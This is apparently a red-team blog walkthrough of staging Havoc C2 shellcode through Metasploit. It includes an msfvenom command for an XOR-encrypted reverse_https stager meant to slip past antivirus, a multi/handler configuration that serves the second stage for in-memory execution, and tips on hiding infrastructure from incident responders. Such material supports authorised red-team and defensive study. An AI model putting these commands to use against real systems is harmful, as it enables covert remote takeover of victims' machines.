Red Teaming Tactics: Unlocking The Power of Custom Staged Payloads w/ Metasploit
Overview
The purpose of this article is to go over the benefits of staged payloads and show a modular approach to staging payloads with Metasploit. This is definitely nothing new or ground breaking, but just a real hands-on walkthrough of how to utilize their ‘custom’ payloads with a Command & Control framework of your choosing.
Definitions
When discussing topics with a lot of moving parts, I’ve found it’s essential to define each item beforehand. Below are a list of items that will be referred to throughout the rest of the article.
- Loader - A modular program who’s purpose is to evade detections and execute shellcode. Usually the only file to touch disk.
- Stager - A smaller piece of code that executes with the purpose of preparing or fetching another piece of code.
- Agent - In this scenario also called second stage payload. The shellcode, EXE, or DLL that is provided by the C2 framework.
- Stage listener - A server who’s purpose is to serve the second stage payload.
- C2 Server - The server running the chosen C2. The operator conducts post-exploitation through this server after successful execution.
DIY Stage
Staged payloads are useful because they allow the operator to use a small piece of position-independent code in their initial stager. Without staged payloads, the operator may be left trying to work a stager payload larger than 5kb sometimes up to 17mb (sliver 😕) into their initial loader. Sometimes the bigger the better … but in this case we want to create a small initial stager that pulls down the full agent (Havoc in this case) after execution.
To Stage or Not to Stage?
Sometimes the chosen C2 framework has support for staged payloads like with Sliver or Meterpreter, but what if it doesn’t? You might be left with a raw shellcode file upwards of 90kb. For reference here is a 691 byte stager payload inside of a Loader:
691 byte array in loader
Now imagine trying to fit a 90kb payload, 133x the size of this, into a Visual Studio project! Ain’t gonna happen… There are other OPSEC reasons you don’t want to just embed the entire agent into the loader.
Setting Up A Custom Stage
We will use Metasploit’s windows/x64/custom/reverse_https
payload as a small stager that will reach out and fetch a custom raw shellcode file. The shellcode file will be generated by the C2 of our choosing.
In this example, I will use Havoc C2. It has a nice GUI and some nice evasion tactics built into its default agent, Demon.
The Agent
Like I said, for this example I will use Havoc C2 for the agent which supports shellcode, Exe, Dll, and Service Exe. Save the raw shellcode from whatever C2 you are utilizing, this will be used in the Metasploit payload options later.
Generated C2 Agent Shellcode
The exported shellcode file sits around 94kb.
Havoc C2 Shellcode
The Loader
The details of the loader are out of the scope of this article but, ideally it should evade detection and sandboxes while executing modular shellcode. I will use a custom Dll loader that uses direct syscalls via Syswhispers3 and simple XOR obfuscation on the shellcode byte array. In my experience, this can be enough to get pretty low AV detection rates. Evading EDRs with kernel level hooking will require you to do more than this, but thats a story for another day.
The next step is to generate the Stager shellcode that will actually be placed into the Loader. I am going to use msfvenom
to generate our small bit of shellcode that will connect back to our multi/handler
listener later.
$ msfvenom -p windows/x64/custom/reverse_https LHOST=<STAGE-LISTENER> LPORT=8080 EXITFUNC=thread -f c --encrypt xor --encrypt-key 'StagingPayloadsLikeAPro?'
Using windows/x64/custom/reverse_https
will make sure the connection to the Stage Listener is encrypted through TLS.
⚠️ Important:
LHOST
- this will be the Stage Listener IP address, whether thats the same as the C2 or not (in this case it is).
--encrypt xor
- will help to make sure the shellcode is not easily flagged as malicious by AV.
msfvenom command to generate Stager
This gives us a nice small payload Stager around 700 bytes. This is the shellcode that will be used inside of your actual loader. I will copy & paste it into my Visual Studio project and compile the Dll.
Lastly, we just need to prepare multi/handler
to serve the second stage payload on the desired port. Obviously this port needs to be different than the C2 communication port if using the same server for both.
The Stage Listener
The Stage Listeners soul purpose is the serve up the second stage to the Stager and no-one else. This server can either be the same as the C2 server or different. Below are the requirements:
- Internet facing IP address
- Metasploit installed
- Agent shellcode file
We will use the windows/x64/custom/reverse_https
payload inside of multi/handler
. Here are the modules basic options:
Module options (payload/windows/x64/custom/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The local listener hostname
LPORT 8080 yes The local listener port
LURI no The HTTP Path
SHELLCODE_FILE no Shellcode bin to launch
Let’s setup multi/handler
. Move into the folder with your .bin
file and setup the listener with the following options:
$ msfconsole -q
msf6 > use multi/handler
msf6 > payload windows/x64/custom/reverse_https
msf6 > exitfunc thread
msf6 > lhost <IP ADDR>
msf6 > lport 8080
msf6 > shellcode_file demon.x64.bin
msf6 > exitonsession false
exitfunc thread
- this will depend on how your Loader is executing the shellcode (default is process)
lhost
- public facing IP of the Stage Listener
lport
- port that was used when generating shellcode with msfvenom
shellcode_file
- relative path to the shellcode file
exitonsession false
- so the listener doesn’t turn off after one connection
These options can also be combined into a .rc
file for convenience.
Starting Stage Listener
Now the server is waiting patiently to deliver the Havoc shellcode we generated.
Execution Chain
Here is a diagram to visualize the way the execution chain is unfolding. Notice the Dll loader only needs the small msfvenom stager we created, the rest is downloaded and executed in-memory. The agent is downloaded via HTTPS from the Stage Listener during execution. The Havoc agent is then executed in the memory space created by the stager and command and control is established.
Execution Flow Diagram
Now we’ll kick the tires in Windows 10 with Defender on. To test everything is working I’ll use rundll32.exe
to load my Dll (which is not the most stealthy execution method for Dlls btw).
Load Dll with rundll32.exe
We can see the connection came in, and the server is sending the custom stage.
Stage Listener serving custom stage 2 (Havoc)
After the custom stage is executed we can see our callback in the Havoc GUI.
Beacon established
Final Thoughts
Although Metasploit has been heavily signatured by a vast number of security products, it can still be used today with modifications. Hopefully I’ve showed how you can take a given C2 framework and break up the loading of the agent into a staged payload. Metasploit is just one quick & easy way you can accomplish this. If your looking for something more home-grown you can write your own stage listener server in Python making it compatible with the custom
shellcode, or write your own shellcode :( ).
Improvements
This was just a fun exercise to find a way to modularly swap different C2s into my existing workflow.
- Encrypt/encode second stage payloads
- Use a redirector server to hide the true location of C2/stage-listener
- Add custom headers, user-agents, or URIs in
multi/handler
to prevent incident responders from investigating your infrastructure - Automation of stager setup
Resources
Havoc Framework - https://github.com/HavocFramework/Havoc
msfvenom custom payload - https://www.infosecmatter.com/metasploit-module-library/?mm=payload/windows/x64/custom/reverse_https
Sliver stage-listers - https://github.com/BishopFox/sliver/wiki/Stagers